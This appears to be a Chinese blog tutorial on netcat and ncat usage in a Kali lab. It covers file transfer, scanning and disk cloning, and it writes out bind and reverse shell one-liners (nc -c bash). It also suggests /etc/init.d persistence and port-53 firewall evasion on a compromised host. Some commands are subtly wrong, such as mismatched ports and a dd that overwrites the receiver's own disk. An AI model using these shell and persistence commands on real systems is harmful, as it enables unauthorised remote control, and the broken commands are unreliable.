基本工具-NETCAT


title: NETCAT
date: 2016-02-28 19:27:52
tags: kali第五章 基本工具


NetCat网络工具的"瑞士军刀",小身材,大智慧。


0x00 NC简介

__ NetCat__是一个非常简单的Unix工具,可以读、写TCP或UDP网络连接(network connection)。它被设计成一个可靠的后端(back-end) 工具,通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。同时,它又是一个功能丰富的网络调试和开发工具,因为它可以建立你可能用到的几乎任何类型的连接,以及一些非常有意思的内建功能。NetCat,它的实际可运行的名字叫nc,是一个很早就被提供,但没有公开的事实标准的Unix工具。使用NC命令所能完成的事情令人惊讶。

NetCat还可以当服务器使用,监听任意指定端口的连接请求(inbound connection),并可做同样的读写操作。除了较小限制外,它实际并不关心自己以“客户端”模式还是“服务器”模式运行,它都会来回运送全部数据。在任何一种模式下,都可以设置一个非活动时间来强行关闭连接。  它还可以通过UDP来完成这些功能,因此它就象一个telnet那样的UDP程序,用来测试你的UDP服务器。正如它的“U”所指的,UDP跟TCP相比是一种不可靠的数据传输,一些系统在使用UDP 传送大量数据时会遇到麻烦,但它还有一些用途。

你可能会问“为什么不用telnet来连接任意的端口”?问题提得好(valid),这儿有一些理由。Telnet有“标准输入文件结束符(standard input EOF)”问题,所以需要在脚本中延迟计算以便等待网络输出结束。这就是netcat持续运行直到连接被关闭的主要原因。Telnet也不能传输任意的二进制数据,因为一些特定的字符会被解释为Telnet的参数而被从数据流中去除。Telnet还将它的一些诊断信息显示到标准输出上,而NC会将这信息与它的输出分开以不改变真实数据的传输,除非你要求它这么做。当然了,Telnet也不能监听端口,也不能使用UDP。 NC没有这些限制,比Telnet更小巧和快捷,而且还有一些其它的功能。

NC所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。


0x01 telent/获取banner信息

nc-nv 1.1.1.1 110邮件服务器pop3端口
nc-nv 1.1.1.1 25 邮件服务器smtp端口
nc-nv 1.1.1.1 80 网站80端口

  • 实例:metasploitable2的ip地址为:192.168.14.22

客户端模式下常用命令:

$:nc -vn 192.168.14.22

0x02 传输文本信息

kali和ubuntu为例,首先需要其中一台服务器打开一个端口,然后进行tcp连接,第一台服务器去侦听某个端口时使用nc -l 通过-p指定端口号,客户端:nc -nv 1.1.1.1 4444

  • 实例:简单的聊天:
ubuntu $:sudo nc -l -p 3333                 {开通3333端口}
$:netstat -pantu | grep 3333     {查看3333端口是否已经开通}
kali $:nc -nv 192.168.14.23 333

0x03 传输文件/目录


远程电子取证信息收集:

在本地计算机监听特定端口:

$ nc -l -p 3333 > ps.txt     {使用管道命令将3333收到的文件重定向到ps.txt文件}

从被取证计算机传输收集信息给远端本地电脑:

$ ps aux | nc -nv 192.168.14.20  3333 -q 1     {-q 1 标准输出完成以后1sec后自动断开连接}

传输文件

  • A作为接受端打开端口
$ nc -lp 3333 > 1.mp4  {将侦听到的3333端口的信息输出到1.mp4文件中}

B端为发送端:

$ nc -nv 1.1.1.1 3333 < 1.mp4 -q 1  {将1.mp4文件的内容宿儒到目标ip的3333端口,传递完成一秒后断开连接}
  • 或者A作为发送端打开端口:
$ nc -q 1 -lp 3333 <a.mp4  -q 1 {将文件放在3333端口下,等着别人来下载,文件传输完成后1秒断开连接}

B作为接收端:

$ nc -nv 1.1.1.1 333 >a.mp4

传输目录

nc本身并不支持目录传送,而是必须结合其它的命令来完成。通常先将目录进行打包,让后将其通过管道灌到nc的一个端口,让后在接收端通过nc去连接服务器已经打开的侦听端口,当接收端得到打包的文件后在通过tar去解包重新还原出目录。

命令演示如下:

$ tar -cvf - filename/ | nc -lp 333 -q 1     {先打包目录,前一个tar打包命令的结果通过管道成为nc命令的输入,即将tar过的文件传到333端口里面,等人家来连接 }
$ nc 192.168.14.20 333 | tar -xvf -   {将接收到tar文件重定向后进行解包}

0x05 加密传输文件

同样的,先对文件进行加密 ,生成一个要传输的加密文件,在讲加密文件作为输入结果输入到nc里:

命令演示如下:
首先需要为操作系统安装加密模块功能:

kali@ $: apt-get install mcrypt

A端(kali)作为文件接收端:

kali @$: nc -lp 333 | mcrypt--flush-Fbqd -a rijndael-256 -m ecb > 1.mp4{在本地侦听333端口,等待接收文件(等待着别人给传文件),将接收到的文件重定向对其进行解密,最后保存为本地文件!}
其实在本次传输过程中,是B端先将文件进行加密,之后再重定向通过nc传输给A端(kali)

B端(ubuntu)发送端:

ubuntu @$: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 192.168.14.23 333 -q 1  {将a.mp4的内容输入给加密指令进行加密,之后将加密后的文件管道给nc,nc再去连接A端的333端口,一旦连上,立即传输,传输完成以后延迟1秒断开连接}

0x05 远程控制/木马

nc远程控制可以实现双向的远程控制,服务器端可以是控制端,也可以是被控制端。
A:kali Linux; B:ubuntu Linux


正向:

首先下kali上运行nc的服务器端。
A:

Kali@ $: nc -lp 333 -c bash  {通过nc建立的连接将bash传递给对方;符合我们通常的一个使用习惯吧,又服务器侦听一个端口,通过客户端来连接这个端口时,服务器端把自己的bash shell传递给客户端!}

B:ubuntu Linux

ubuntu@ $: nc -nv 192.168.14.23 333   

正向连接适用于使用场景1:当渗透进入对当操作系统后,将可在对方/etc/init.d目录下添加nc执行脚本实行永久控制!但由于对方防火墙配置这种场景几乎不存在!

下面我们来个反向的:

  • 反向:
    A:kali 依旧作为服务器端负者侦听端口,但并不传递shell:
 kali@ $: nc -lp 333

B端:ubuntu依旧是客户端:

 ubuntu@ $: nc -nv 192.168.14.23 33 -c bash  {通过nc连接到kali服务器端并将shell传递给服务器端成为被控制端!}

反向连接使用场景2:攻击端负者侦听一个端口,而在被攻击端执行启动脚本将shell传送给被攻击端!,通常使用53端口NDS转换端口!
当然在windows下只需要讲bash换成cmd就ok了!


0x06 流媒体服务器

流媒体服务器,首先需要流媒体客户端和流媒体服务端。
nc搭建流媒体服务器端(kali):

kali@ $: cat 1.mp4 | nc -lp 333  {使用cat命令将视频文件cat为文件流管道给nc侦听的333端口}

B端接收端(ubuntu):

ubuntu @ $: nc -nv 192.168.14.23 333 | mplayer -vo x11 -cache 3000-   {B端nc连接到A端的侦听端口获得文件流,指定mplayer播放器进行缓存播放}

0x07 端口扫描

nc同样可以作为一个扫描器来使用,nc作为扫描器是以一个客户端的软件形象来出现的, nc-z开始扫描探测模式:

命令演示,打开metasploitable(192.168.14.21):

kali @ $: nc -nvz 192.168.

但是此种方式nc所探测的只是TCP模式的端口,UDP端口命令则是:

kali @$: nc -nvzu 1

0x08 远程克隆硬盘

如果目标系统整处于运行状态则可以收集其内存信息,进程信息,文件系统,网络连接等。通过远程电子取证,可以将目标服务器硬盘或者内存远程复制。
A端接收端:

nc -lp 333 | dd of=/dev/sda

B端,目标服务器:

dd if=/dev/sda | nc -nv 192.168.14.21 333 -q 1 

使用dd命令对目标服务器进行块级别的复制,以便进行数据还原因为此时文件级别的复制已经没有意义![if=inputfile]


0x9 nc的弱点

Nc缺乏加密和身份验证的能力,容易被人嗅探,发生中间人劫持!
基于nc的弱点,引入NCAT工具!


0xA NCAT


加密所有流量

首先NCAT并不是Linux自带的一款工具,Ncat包含于nmap工具中,用来弥补nc明文连接传输通道的不足!
A:kali 192.168.14.23 B:ubuntu 192.168.14.20
A:kali作为服务器端进行侦听端口,allow参数即是允许那个ip连接,-ssl进行管道传输加密!

ncat -c bash --allow 192.168.14.20 -vnl 333 --ssl

B端作为接收端:
B:ubuntu

ncat -nv 192.168.14.23 333 --ssl

通过ncat建立的远程连接与nc建立的远程连接是有本质区别的,ncat建立一起已经进行了秘钥的交换,并且在此后的传输通道也是经过加密的哦!此时即是有人来嗅探也是无济于事的ssl还是挺有保障的!nc所能实现的所有功能在ncat上都能实现!

不同操作系统/平台的nc参数功能不尽相同!譬如ubuntu下nc不支持-c参数,而是通过其他方法变通实现!

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,793评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,567评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,342评论 0 338
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,825评论 1 277
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,814评论 5 368
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,680评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,033评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,687评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 42,175评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,668评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,775评论 1 332
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,419评论 4 321
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,020评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,978评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,206评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,092评论 2 351
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,510评论 2 343

推荐阅读更多精彩内容

  • 名词延伸 通俗的说,域名就相当于一个家庭的门牌号码,别人通过这个号码可以很容易的找到你。如果把IP地址比作一间房子...
    杨大虾阅读 20,586评论 2 57
  • 国家电网公司企业标准(Q/GDW)- 面向对象的用电信息数据交换协议 - 报批稿:20170802 前言: 排版 ...
    庭说阅读 10,864评论 6 13
  • [动待花开] 20170903学习力践行记录day111 1.古诗音频15分钟 2.嘟嘟数学10分钟 3.复习旧古...
    拉美儿阅读 110评论 0 0
  • 2019-正月初九 随观传喜法师印度之旅!知道帝释、大梵天护送佛降临人间!人天最光荣的使命-人天结合部公共史记最亮...
    真如自在阅读 558评论 1 2
  • 上课回来时在下雨,跑不成步,索性随便走走。我看雨一朵朵落下来,落到尘埃里,摊得极薄,等着被风和阳光擦去。而我连一场...
    今夕何夕兮007阅读 236评论 0 0